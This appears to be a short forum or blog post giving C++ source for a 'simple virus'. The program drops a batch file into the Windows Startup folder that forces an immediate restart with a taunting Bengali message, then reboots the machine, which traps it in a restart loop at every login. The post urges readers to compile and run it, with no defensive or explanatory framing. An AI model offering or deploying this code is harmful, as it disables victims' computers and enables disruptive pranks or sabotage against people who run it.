A Simple Virus Code in c++

#include<stdio.h>
//SR Production
int main()
{
    FILE *f;
    f=fopen("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\sr.bat","w");
    fprintf(f,"shutdown -r -t 0 -c \"Dora khaila Mamu. Tumi Faissa gecho mainkar chipai \"");
    system("shutdown -r -t 0");
  
    return 0;
}

Just compile this code and Run ..!! and see what happen....!!